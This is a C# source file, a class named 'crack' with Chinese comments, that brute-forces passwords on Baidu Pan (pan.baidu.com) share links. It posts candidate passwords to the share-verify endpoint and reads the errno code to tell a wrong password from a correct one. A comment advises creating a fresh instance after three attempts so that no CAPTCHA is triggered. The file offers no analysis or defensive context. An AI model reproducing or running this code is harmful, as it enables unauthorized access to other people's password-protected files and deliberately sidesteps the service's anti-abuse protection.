class crack
{
//URL格式必须严格为
http://pan.baidu.com/share/init?shareid=xxx&uk=xxx
public void init(string url)
{
HttpGet(url);
info = url.Replace("http://pan.baidu.com/share/init?", "");
}
//尝试密码,3次后请重新建立实例(否则会有验证码)
public int trypwd(string pwd)
{
//取得时间戳
System.DateTime time = System.DateTime.Now;
System.DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1, 0, 0, 0, 0));
long ts = (time.Ticks - startTime.Ticks) / 10000;
string data = HttpPost("http://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==", "pwd=" + pwd + "&vcode=&vcode_str=");
if (data.Contains("\"errno\":-9")) return 0;
else if (data.Contains("\"errno\":0")) return 1;
else return -1;
}
private string HttpPost(string Url, string Data)
{
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
request.Referer = "http://pan.baidu.com/share/init?" + info;
request.ContentLength = Encoding.UTF8.GetByteCount(Data);
request.CookieContainer = cookie;
Stream myRequestStream = request.GetRequestStream();
byte[] postBytes = Encoding.UTF8.GetBytes(Data);
myRequestStream.Write(postBytes, 0, postBytes.Length);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
response.Cookies = cookie.GetCookies(response.ResponseUri);
Stream myResponseStream = response.GetResponseStream();
StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
myResponseStream.Close();
return retString;
}
catch (System.Exception ex)
{
return "error";
}
}
private string HttpGet(string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
request.CookieContainer = cookie;
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream myResponseStream = response.GetResponseStream();
StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
myResponseStream.Close();
return retString;
}
private CookieContainer cookie = new CookieContainer();
private string info;
}